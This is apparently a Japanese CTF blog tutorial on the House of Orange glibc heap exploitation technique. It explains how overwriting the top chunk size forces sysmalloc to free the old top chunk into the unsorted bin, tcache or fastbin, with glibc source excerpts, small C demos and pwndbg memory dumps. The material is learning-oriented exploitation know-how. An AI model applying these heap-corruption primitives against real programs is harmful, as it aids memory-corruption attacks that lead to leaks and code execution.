名前だけ知ってたのですが内容は全然知らなかったのでまとめます。
ヒープ問を解くときは通常freeによりチャンクをtcacheやbinに繋げるのですが、中にはdelete系の機能が用意されていなかったりfreeの回数に制限があったりという問題があります。
そのような場合に使えるのがHouse of Orangeというテクニックで、freeがなくてtop chunkのサイズを改竄できるときに便利です。
House of Orangeは本来top chunkのサイズ改竄により
_int_free
を呼び出し、その際できたmain arenaへのポインタを使ってlibc leakし、最後に偽の
_IO_FILE
を使ってシェルを取る、という流れの攻撃です。
正直一番やりたいのはfreeする部分なので、今回は
_int_free
が呼び出されるまでの原理について説明します。
_int_
malloc
からsysmallocを呼ぶ
malloc
の際、tcacheやfastbinに適切なサイズのチャンクがあればそれを利用するのですが、この時
_int_malloc
関数の中では次のような順番で処理しています。
tcacheを参照
fastbinを参照
unsorted binを参照
large binを参照
topを参照
sysmallocを使う
topチャンクの利用にも失敗した場合、sysmallocという関数が呼ばれてヒープ領域の確保や拡張が行われます。
ソースコード
では次のように
_int_malloc
の最後で呼ばれています。
void
*p = sysmalloc (nb, av);
if
(p !=
NULL
)
alloc_perturb (p, bytes);
return
p;
sysmallocにはセキュリティ機構があり、次の条件をクリアしないといけません。
MINSIZE(0x10)より大きい
prev_inuseフラグがセットされている
old_end (=old_top + old_size) がページサイズにアラインされている
MINSIZE(0x10) + nbより小さい
assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
sysmallocでは古いtopチャンクに対して_int_free
を呼んでいます。
やっていることは、topチャンクのサイズより大きいサイズでmallocされるとmmapしないといけないけど、残ったtopチャンクがもったいないからfreeして後から使えるようにしよう、ということです。
_int_free
が呼ばれるので、topチャンクのサイズがfastbinサイズならfastbinに、そうでなければunsorted binに入ります。(tcacheが有効ならtcacheに。)
sysmallocから_int_freeを呼ぶ
次のように_int_free
が呼ばれているのですが、このためには先程のセキュリティチェックを通過する必要があります。
_int_free (av, old_top, 1);
特に重要なのは3つ目の条件です。
((unsigned long) old_end & (pagesize - 1)) == 0))
old_end
はtopチャンクのアドレス + topチャンクのサイズです。
したがって、この2つを足した値がページサイズにalignされている必要があります。
また、セキュリティチェック以外にも避ける必要がある場所があります。
サイズがあるしきい値を超えるとtopは拡張されずmmapが使われてしまいます。
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
参考文献によるとlibc-2.23以下であればabortを利用して_IO_FILE構造体をいじってlibc leakしたりシェルを取ったりできるようです。
正直いまいちイメージが掴めないと思うので、論より証拠ということでやってみましょう。
まずは失敗例から。topのサイズを適当に変えるとtop + top_sizeがalignされてないので怒られます。
#include <stdio.h>
#include <stdlib.h>
int main() {
setbuf(stdout, NULL);
char *ptr = malloc(0x38);
*(unsigned long*)(ptr + 0x38) = 0x71;
malloc(0x1000);
ダメぴよ。
$ ./a.out
a.out: malloc.c:2401: sysmalloc: Assertion `(old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0)' failed.
中止 (コアダンプ)
gdbで見てみると、top size改竄前は次のようになっています。
pwndbg> x/16xg 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000041
0x555555756260: 0x0000000000000000 0x0000000000000000
0x555555756270: 0x0000000000000000 0x0000000000000000
0x555555756280: 0x0000000000000000 0x0000000000000000
0x555555756290: 0x0000000000000000 0x0000000000020d71
0x5555557562a0: 0x0000000000000000 0x0000000000000000
0x5555557562b0: 0x0000000000000000 0x0000000000000000
0x5555557562c0: 0x0000000000000000 0x0000000000000000
ということで、例えばサイズを0xd71にすれば問題無いはずです。
#include <stdio.h>
#include <stdlib.h>
int main() {
setbuf(stdout, NULL);
char *ptr = malloc(0x38);
*(unsigned long*)(ptr + 0x38) = 0xd71;
malloc(0x1000);
これでabortしなくなりました。2回目のmalloc後のunsorted binを見てみましょう。
pwndbg> x/16xg 0x555555756250
0x555555756250: 0x0000000000000000 0x0000000000000041
0x555555756260: 0x0000000000000000 0x0000000000000000
0x555555756270: 0x0000000000000000 0x0000000000000000
0x555555756280: 0x0000000000000000 0x0000000000000000
0x555555756290: 0x0000000000000000 0x0000000000000d51
0x5555557562a0: 0x00007ffff7dcfca0 0x00007ffff7dcfca0
0x5555557562b0: 0x0000000000000000 0x0000000000000000
0x5555557562c0: 0x0000000000000000 0x0000000000000000
pwndbg> unsortedbin
unsortedbin
all: 0x555555756290 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x555555756290
unsorted binに繋がっています。実質サイズ0xd50のチャンクをfreeしたのと同じことが起きました。
したがって、topのサイズの下位24ビットをtcacheサイズにした上で同じことをすれば、unsorted binではなくtcacheに繋がります。fastbinも同様です。
これ系は基本的にheap overflowが多いので、tcacheに繋いだついでにfdを書き換えれば2度おいしいです。
本当はこのあと_IO_2_1_stdout
とかを書き換えてlibc leakするのですが、それは別の記事で説明したので割愛します。
[1] https://1ce0ear.github.io/2017/11/26/study-house-of-orange/
[2] http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html